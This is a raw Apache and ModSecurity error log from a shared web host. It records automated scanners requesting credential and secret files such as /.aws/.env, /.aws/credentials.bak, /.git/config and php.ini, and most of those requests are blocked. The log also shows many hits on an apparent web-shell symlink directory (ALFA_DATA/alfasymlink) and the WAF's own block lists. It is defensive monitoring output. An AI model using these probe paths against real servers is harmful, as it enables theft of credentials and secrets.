[Sat Oct 24 04:47:06.492681 2026] [security2:error] [pid 2607268:tid 2607268] [client 104.131.80.228:42174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "atxwimdU8QwckgW6dYi9swAAABg"]
[Sat Oct 24 04:47:08.627283 2026] [security2:error] [pid 2607236:tid 2607236] [client 104.131.80.228:42228] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/zacsonzf.sql"] [unique_id "atxwjHmHPhBlDCYpqKbXQgAAAAY"]
[Sat Oct 24 04:47:08.627673 2026] [security2:error] [pid 2607236:tid 2607236] [client 104.131.80.228:42228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/zacsonzf.sql"] [unique_id "atxwjHmHPhBlDCYpqKbXQgAAAAY"]
[Sat Oct 24 04:47:08.628008 2026] [security2:error] [pid 2607236:tid 2607236] [client 104.131.80.228:42228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/zacsonzf.sql"] [unique_id "atxwjHmHPhBlDCYpqKbXQgAAAAY"]
[Sat Oct 24 04:47:09.516075 2026] [security2:error] [pid 2603777:tid 2603777] [client 104.131.80.228:33996] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "atxwjftAOTGC3TEpikhG-gAAAB8"]
[Sat Oct 24 04:47:09.516690 2026] [security2:error] [pid 2603777:tid 2603777] [client 104.131.80.228:33996] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "atxwjftAOTGC3TEpikhG-gAAAB8"]
[Sat Oct 24 04:47:09.517012 2026] [security2:error] [pid 2603777:tid 2603777] [client 104.131.80.228:33996] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "atxwjftAOTGC3TEpikhG-gAAAB8"]
[Sat Oct 24 04:47:16.134414 2026] [ssl:error] [pid 2607244:tid 2607244] (70014)End of file found: [client 54.166.126.132:35802] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:47:22.215325 2026] [ssl:error] [pid 2607235:tid 2607235] (70014)End of file found: [client 52.70.123.241:22719] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:47:42.276042 2026] [ssl:error] [pid 2607236:tid 2607236] (70014)End of file found: [client 3.93.98.99:50326] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:47:46.197659 2026] [core:error] [pid 2607250:tid 2607250] (13)Permission denied: [client 54.80.73.122:43386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:17/eject
[Sat Oct 24 04:47:59.501602 2026] [security2:error] [pid 2607235:tid 2607235] [client 34.75.164.182:4640] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atxwv2PI1_PG0juwzzfjnQAAAAQ"]
[Sat Oct 24 04:47:59.501952 2026] [security2:error] [pid 2607235:tid 2607235] [client 34.75.164.182:4640] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atxwv2PI1_PG0juwzzfjnQAAAAQ"]
[Sat Oct 24 04:47:59.502211 2026] [security2:error] [pid 2607235:tid 2607235] [client 34.75.164.182:4640] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atxwv2PI1_PG0juwzzfjnQAAAAQ"]
[Sat Oct 24 04:47:59.502542 2026] [security2:error] [pid 2607235:tid 2607235] [client 34.75.164.182:4640] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atxwv2PI1_PG0juwzzfjnQAAAAQ"]
[Sat Oct 24 04:48:18.399788 2026] [core:error] [pid 2603788:tid 2603788] (13)Permission denied: [client 54.90.8.255:13339] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu0/crash_notes_size
[Sat Oct 24 04:49:06.329971 2026] [ssl:error] [pid 2607256:tid 2607256] (70014)End of file found: [client 3.221.244.28:13675] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:49:10.431737 2026] [ssl:error] [pid 2607254:tid 2607254] (70014)End of file found: [client 98.84.131.195:54425] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:49:18.179565 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 98.83.177.42:32873] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:49:22.292983 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.221.156.96:12175] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:49:30.208717 2026] [ssl:error] [pid 2607239:tid 2607239] (70014)End of file found: [client 184.73.47.24:26466] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:49:38.176553 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 18.207.79.144:54149] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:49:45.126052 2026] [security2:error] [pid 2603807:tid 2603807] [client 43.153.10.13:56248] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "atxxKY3tkuH7XT-LVCb7HQAAAAE"]
[Sat Oct 24 04:49:50.184269 2026] [core:error] [pid 2603780:tid 2603780] (13)Permission denied: [client 54.204.12.115:7603] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty1/subsystem/tty50/subsystem/ttyS1/flags
[Sat Oct 24 04:49:54.176609 2026] [core:error] [pid 2607239:tid 2607239] (13)Permission denied: [client 35.153.86.200:35952] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/physical_node/crash_notes_size
[Sat Oct 24 04:49:58.161501 2026] [ssl:error] [pid 2607250:tid 2607250] (70014)End of file found: [client 3.226.34.98:2669] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:50:03.128275 2026] [core:error] [pid 2603776:tid 2603776] (13)Permission denied: [client 185.191.171.14:33742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/min_partial
[Sat Oct 24 04:50:06.183624 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.194.139.149:1688] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:50:10.169955 2026] [ssl:error] [pid 2607235:tid 2607235] (70014)End of file found: [client 107.20.224.184:62739] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:50:18.246012 2026] [ssl:error] [pid 2607250:tid 2607250] (70014)End of file found: [client 44.217.177.142:5441] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:50:26.301460 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.221.105.234:52586] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:50:28.043616 2026] [core:crit] [pid 2607235:tid 2607235] (13)Permission denied: [client 45.79.130.171:42974] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 04:50:39.911707 2026] [core:error] [pid 2603776:tid 2603776] (13)Permission denied: [client 185.191.171.1:23752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-128/alloc_calls
[Sat Oct 24 04:50:42.173145 2026] [ssl:error] [pid 2607239:tid 2607239] (70014)End of file found: [client 3.235.215.92:11791] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:50:50.179415 2026] [ssl:error] [pid 2607250:tid 2607250] (70014)End of file found: [client 3.224.205.25:12571] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:50:54.586935 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 85.208.96.209:23214] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:51:06.188195 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 44.212.145.46:2003] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:51:10.181746 2026] [ssl:error] [pid 2607250:tid 2607250] (70014)End of file found: [client 3.224.205.25:59293] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:51:18.168868 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.216.172.204:11036] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:51:20.126936 2026] [core:error] [pid 2603788:tid 2603788] (13)Permission denied: [client 185.191.171.11:26986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/usersize
[Sat Oct 24 04:51:26.808751 2026] [core:error] [pid 2603776:tid 2603776] (13)Permission denied: [client 85.208.96.201:22576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-192/total_objects
[Sat Oct 24 04:51:30.263115 2026] [core:error] [pid 2607239:tid 2607239] (13)Permission denied: [client 85.208.96.210:47398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/object_size
[Sat Oct 24 04:51:30.280621 2026] [core:error] [pid 2603780:tid 2603780] (13)Permission denied: [client 34.194.233.48:32734] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu0/crash_notes
[Sat Oct 24 04:51:34.246052 2026] [ssl:error] [pid 2607250:tid 2607250] (70014)End of file found: [client 34.193.2.57:26747] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:51:58.155810 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 23.23.103.31:56321] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:52:02.343610 2026] [ssl:error] [pid 2607239:tid 2607239] (70014)End of file found: [client 52.202.52.82:38255] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:52:06.269622 2026] [ssl:error] [pid 2607235:tid 2607235] (70014)End of file found: [client 34.206.212.24:39974] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:52:22.201016 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.223.232.55:63339] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:52:26.173413 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 98.83.177.42:2018] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:52:30.395611 2026] [ssl:error] [pid 2607239:tid 2607239] (70014)End of file found: [client 52.4.229.9:18376] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:52:34.151756 2026] [ssl:error] [pid 2607250:tid 2607250] (70014)End of file found: [client 18.215.24.66:63828] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:52:38.295424 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 3.219.80.71:26362] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:52:42.168995 2026] [core:error] [pid 2607254:tid 2607254] (13)Permission denied: [client 34.231.77.232:17979] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/PNP0A03:00/device:0f/eject
[Sat Oct 24 04:52:49.125938 2026] [core:error] [pid 2607239:tid 2607239] (13)Permission denied: [client 85.208.96.210:20902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/sanity_checks
[Sat Oct 24 04:52:57.727118 2026] [core:error] [pid 2603788:tid 2603788] (13)Permission denied: [client 85.208.96.211:31396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PINGv6/cache_dma
[Sat Oct 24 04:52:58.256576 2026] [ssl:error] [pid 2607254:tid 2607254] (70014)End of file found: [client 44.205.74.196:52460] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:52:59.810692 2026] [authz_core:error] [pid 2607239:tid 2607239] [client 152.32.235.85:23028] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 04:52:59.957505 2026] [authz_core:error] [pid 2607236:tid 2607236] [client 152.32.235.85:23114] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 04:53:00.242051 2026] [authz_core:error] [pid 2607250:tid 2607250] [client 152.32.235.85:23242] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 04:53:00.448197 2026] [authz_core:error] [pid 2603788:tid 2603788] [client 152.32.235.85:23306] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 04:53:06.199265 2026] [core:error] [pid 2603776:tid 2603776] (13)Permission denied: [client 3.93.253.174:19896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:11/subsystem/devices/device:03/physical_node/driver/module/drivers/pci:cirrus/0000:00:02.0/resource0
[Sat Oct 24 04:53:09.902048 2026] [authz_core:error] [pid 2607239:tid 2607239] [client 71.6.246.162:49278] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Sat Oct 24 04:53:14.415241 2026] [ssl:error] [pid 2607250:tid 2607250] (70014)End of file found: [client 3.226.106.93:62606] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:53:18.147305 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 3.214.176.44:25195] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:53:18.147512 2026] [security2:error] [pid 2603788:tid 2603788] [client 3.214.176.44:25195] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/device:02/physical_node/vendor"] [unique_id "atxx_u3iNausmbvH7aw5WwAAAAA"]
[Sat Oct 24 04:53:18.147553 2026] [security2:error] [pid 2603788:tid 2603788] [client 3.214.176.44:25195] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/device:02/physical_node/vendor"] [unique_id "atxx_u3iNausmbvH7aw5WwAAAAA"]
[Sat Oct 24 04:53:27.573400 2026] [authz_core:error] [pid 2607250:tid 2607250] [client 34.14.99.143:56406] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 04:53:27.885226 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.aws/.env"] [unique_id "atxyB_W6YT0SU9_bWDbGiAAAAAk"]
[Sat Oct 24 04:53:27.885464 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.aws/.env"] [unique_id "atxyB_W6YT0SU9_bWDbGiAAAAAk"]
[Sat Oct 24 04:53:27.885725 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.aws/.env"] [unique_id "atxyB_W6YT0SU9_bWDbGiAAAAAk"]
[Sat Oct 24 04:53:27.960569 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/.aws/credentials.bak"] [unique_id "atxyB_W6YT0SU9_bWDbGiQAAAAk"]
[Sat Oct 24 04:53:27.960819 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.aws/credentials.bak"] [unique_id "atxyB_W6YT0SU9_bWDbGiQAAAAk"]
[Sat Oct 24 04:53:27.961070 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.aws/credentials.bak"] [unique_id "atxyB_W6YT0SU9_bWDbGiQAAAAk"]
[Sat Oct 24 04:53:27.962412 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.docker/.env"] [unique_id "atxyB3X8E6TRudKM7Tq--gAAABM"]
[Sat Oct 24 04:53:27.962559 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.docker/.env"] [unique_id "atxyB3X8E6TRudKM7Tq--gAAABM"]
[Sat Oct 24 04:53:27.962778 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.docker/.env"] [unique_id "atxyB3X8E6TRudKM7Tq--gAAABM"]
